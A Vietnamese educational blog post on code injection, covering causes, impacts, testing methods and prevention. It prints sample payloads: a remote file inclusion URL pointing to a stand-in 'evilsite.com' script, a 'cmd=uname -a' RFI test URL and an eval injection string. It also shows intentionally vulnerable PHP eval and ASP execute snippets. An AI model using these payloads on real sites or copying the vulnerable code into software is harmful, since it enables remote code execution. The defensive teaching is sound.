Rate this post

Chào mọi người! Hôm nay, chúng ta sẽ cùng nhau khám phá một chủ đề nóng hổi trong thế giới công nghệ thông tin: Code Injection. Bạn có bao giờ tự hỏi, ‘Code Injection là gì và tại sao nó lại quan trọng đến vậy trong an ninh mạng?’ Không cần phải tìm đâu xa, hãy cùng tìm hiểu nhé!

Đầu tiên, hãy nói về cơ bản của Code Injection. Nói một cách đơn giản, đây là một phương thức cho phép kẻ xấu ‘chèn’ mã độc hại vào chương trình hoặc ứng dụng mục tiêu. Mục đích? Để thực thi mã độc đó và gây hại cho hệ thống. Thường thì, điều này xảy ra khi các đầu vào của chương trình không được kiểm soát chặt chẽ – một lỗ hổng mà hacker có thể lợi dụng để thực hiện ý đồ xấu của họ.

Ví dụ điển hình nhất có lẽ là SQL Injection – nơi hacker chèn mã SQL vào biểu mẫu web để truy xuất hoặc thay đổi dữ liệu. Không chỉ hữu ích cho các chuyên gia IT, hiểu rõ về Code Injection còn là một phần quan trọng của việc bảo vệ thông tin cá nhân và doanh nghiệp trong kỷ nguyên số.

Tại sao lại như vậy? Đầu tiên, an toàn thông tin là chìa khóa. Trong thế giới kỹ thuật số ngày nay, bảo vệ dữ liệu không chỉ là vấn đề của riêng ai. Thứ hai, đối với các doanh nghiệp, việc này không chỉ là bảo vệ tài sản mà còn là việc giữ gìn uy tín và niềm tin của khách hàng. Và không thể không nhắc đến, tuân thủ pháp luật cũng là một phần không thể thiếu trong việc đảm bảo an ninh mạng.

Qua đây, hy vọng rằng bạn đã có cái nhìn tổng quan hơn về Code Injection – không chỉ là một thuật ngữ kỹ thuật mà còn là một vấn đề cấp thiết trong an ninh mạng. Hãy cùng nhau chia sẻ và nâng cao nhận thức về vấn đề này để tạo ra một môi trường mạng an toàn hơn nhé!

Code Injection attack là gì?

Code Injection attack là thuật ngữ chung cho các kiểu tấn công bao gồm việc tiêm mã sau đó được ứng dụng diễn giải / thực thi. Loại tấn công này khai thác việc xử lý kém các dữ liệu không đáng tin cậy. Các kiểu tấn công này thường có thể xảy ra do thiếu xác thực dữ liệu đầu vào / đầu ra thích hợp, ví dụ:

  • các ký tự được phép (các lớp biểu thức chính quy tiêu chuẩn hoặc tùy chỉnh)
  • định dạng dữ liệu
  • lượng dữ liệu mong đợi

Code Injection khác với Command Injection ở chỗ kẻ tấn công chỉ bị giới hạn bởi chức năng của chính ngôn ngữ được đưa vào. Nếu kẻ tấn công có thể đưa mã PHP vào một ứng dụng và thực thi nó, chúng chỉ bị giới hạn bởi khả năng của PHP. Chèn lệnh bao gồm việc tận dụng mã hiện có để thực hiện các lệnh, thường là trong ngữ cảnh của một trình bao.

Ví dụ 1

Nếu một ứng dụng chuyển một tham số được gửi qua yêu cầu GET tới hàm include () của PHP mà không có xác thực đầu vào, kẻ tấn công có thể cố gắng thực thi mã khác với những gì nhà phát triển đã nghĩ đến.

URL bên dưới chuyển tên trang đến hàm include ().

Tệp “evilcode.php” có thể chứa, ví dụ, hàm phpinfo () hữu ích để lấy thông tin về cấu hình của môi trường mà dịch vụ web chạy. Kẻ tấn công có thể yêu cầu ứng dụng thực thi mã PHP của chúng bằng cách sử dụng yêu cầu sau:

http://testsite.com/?page=http://evilsite.com/evilcode.php

Ví dụ 2

Khi một nhà phát triển sử dụng hàm eval () của PHP và chuyển cho nó dữ liệu không đáng tin cậy mà kẻ tấn công có thể sửa đổi, thì việc chèn mã có thể xảy ra.

Ví dụ dưới đây cho thấy một cách nguy hiểm để sử dụng hàm eval ():

$myvar = "varname";
$x = $_GET['arg'];
eval("$myvar = $x;");

Vì không có xác thực đầu vào, đoạn mã trên rất dễ bị tấn công Code Injection.

Ví dụ: /index.php?arg=1; phpinfo ()

Trong khi khai thác các lỗi như thế này, kẻ tấn công có thể muốn thực hiện các lệnh hệ thống. Trong trường hợp này, một lỗi chèn mã cũng có thể được sử dụng để chèn lệnh.

Ví dụ:

/index.php?arg=1; phpinfo()

Nguyên nhân gây ra lỗi code injection

Hãy nói về nguyên nhân. Bạn có bao giờ tự hỏi tại sao Code Injection lại có thể xảy ra không? Câu trả lời nằm ở chỗ các lập trình viên và quy trình phát triển phần mềm. Đôi khi, do sơ suất hoặc thiếu kinh nghiệm, các lập trình viên có thể để lọt lỗ hổng trong mã nguồn, tạo cơ hội cho kẻ xấu lợi dụng. Một sai sót nhỏ trong việc kiểm soát đầu vào dữ liệu có thể mở ra cánh cửa cho hacker chèn mã độc hại vào hệ thống của bạn. Đó là lý do tại sao việc kiểm tra và bảo mật mã nguồn lại quan trọng đến vậy.

Bây giờ, chúng ta hãy nói về tác động của Code Injection. Nó không chỉ gây hại cho hệ thống mà còn có thể ảnh hưởng trực tiếp đến người dùng. Từ việc đánh cắp dữ liệu cá nhân, thông tin tài chính, cho đến làm suy yếu và làm sập cả một hệ thống mạng – tác động của nó có thể vô cùng nghiêm trọng. Đặc biệt trong thời đại số hóa hiện nay, khi mọi thứ đều kết nối và phụ thuộc vào công nghệ, một vụ tấn công Code Injection thành công có thể dẫn đến hậu quả không lường trước được.

Qua đây, bạn có thể thấy, việc hiểu biết về nguyên nhân và tác động của Code Injection không chỉ giúp chúng ta phòng tránh và bảo vệ hệ thống mạng tốt hơn, mà còn giúp chúng ta trở nên tỉnh táo và sẵn sàng ứng phó với những mối đe dọa tiềm ẩn trong thế giới số. Hãy cùng nhau chia sẻ kiến thức này để xây dựng một cộng đồng mạng an toàn và lành mạnh nhé!

Cách kiểm tra lỗ hổng Code Injection

Phần này mô tả cách người kiểm tra có thể kiểm tra xem liệu có thể nhập mã làm đầu vào trên trang web và có được máy chủ web thực thi hay không.

Trong thử nghiệm code injection, người thử nghiệm gửi đầu vào được máy chủ web xử lý dưới dạng mã động hoặc dưới dạng tệp được bao gồm. Các thử nghiệm này có thể nhắm mục tiêu các công cụ tạo kịch bản phía máy chủ khác nhau, ví dụ: ASP hoặc PHP. Xác thực đầu vào thích hợp và thực hành mã hóa an toàn cần được sử dụng để bảo vệ khỏi các cuộc tấn công này.

Mục tiêu kiểm tra

  • Xác định các điểm injection mà bạn có thể đưa mã vào ứng dụng.
  • Đánh giá mức độ nghiêm trọng của vết injection.

Black box testing

Kiểm tra lỗ hổng PHP Injection

Sử dụng chuỗi truy vấn, người kiểm tra có thể đưa mã (trong ví dụ này là URL độc hại) để được xử lý như một phần của tệp được bao gồm:

http://www.example.com/uptime.php?pin=http://www.example2.com/packx1/cs.jpg?&cmd=uname%20-a

URL độc hại được chấp nhận làm tham số cho trang PHP, trang này sau này sẽ sử dụng giá trị trong tệp được bao gồm.

Gray-box testing

Kiểm tra lỗ hổng injection mã ASP

Kiểm tra mã ASP cho đầu vào của người dùng được sử dụng trong các chức năng thực thi. Người dùng có thể nhập lệnh vào trường Nhập dữ liệu không? Tại đây, mã ASP sẽ lưu dữ liệu đầu vào vào một tệp và sau đó thực thi nó:

<%
If not isEmpty(Request( "Data" ) ) Then
Dim fso, f
'User input Data is written to a file named data.txt
Set fso = CreateObject("Scripting.FileSystemObject")
Set f = fso.OpenTextFile(Server.MapPath( "data.txt" ), 8, True)
f.Write Request("Data") & vbCrLf
f.close
Set f = nothing
Set fso = Nothing

'Data.txt is executed
Server.Execute( "data.txt" )

Else
%>

<form>
<input name="Data" /><input type="submit" name="Enter Data" />

</form>
<%
End If
%>)))

Xem thêm Kiểm tra lỗ hổng bảo mật CSS Injection

Các phương pháp phòng chống và giải pháp cho code injection

  1. Các Phương Pháp Phòng Chống Chung
    • Đầu tiên và quan trọng nhất, chúng ta cần kiểm soát chặt chẽ đầu vào dữ liệu. Điều này có nghĩa là tất cả dữ liệu đầu vào, dù là từ người dùng hay từ các nguồn bên ngoài, cần được kiểm tra, lọc và xác minh kỹ lưỡng.
    • Sử dụng các kỹ thuật như Prepared Statements trong SQL để ngăn chặn SQL Injection.
    • Việc cập nhật và bảo trì hệ thống thường xuyên cũng là một bước quan trọng, giúp loại bỏ các lỗ hổng bảo mật có thể xuất hiện.
  2. Cách Thức Kiểm Thử và Phát Hiện Code Injection
    • Thực hiện kiểm thử bảo mật định kỳ là một bước không thể bỏ qua. Sử dụng các phương pháp kiểm thử như Black Box Testing hoặc White Box Testing để phát hiện ra các lỗ hổng bảo mật tiềm ẩn.
    • Sử dụng các công cụ tự động như scanner bảo mật để tìm kiếm các lỗ hổng và điểm yếu trong mã nguồn.
  3. Các Công Cụ và Phần Mềm Hỗ Trợ
    • Có rất nhiều công cụ và phần mềm hỗ trợ trong việc phát hiện và ngăn chặn Code Injection, như OWASP ZAP, SQLMap, và các công cụ Static Application Security Testing (SAST).
    • Chọn công cụ phù hợp với ngôn ngữ lập trình và môi trường của hệ thống để đạt hiệu quả tối ưu.
  4. Lập Trình an toàn để Ngăn Chặn Code Injection
    • Tuân theo các nguyên tắc lập trình an toàn, như không tin tưởng vào bất kỳ đầu vào nào từ người dùng và luôn sử dụng các hàm xác minh dữ liệu.
    • Sử dụng nguyên tắc Least Privilege trong việc cấp quyền truy cập để hạn chế tối đa khả năng tác động của mã độc hại.
    • Đào tạo và nâng cao nhận thức về an ninh mạng cho các lập trình viên và nhân viên IT.

Để lại một bình luận

Email của bạn sẽ không được hiển thị công khai. Các trường bắt buộc được đánh dấu *

Contact Me on Zalo
Call now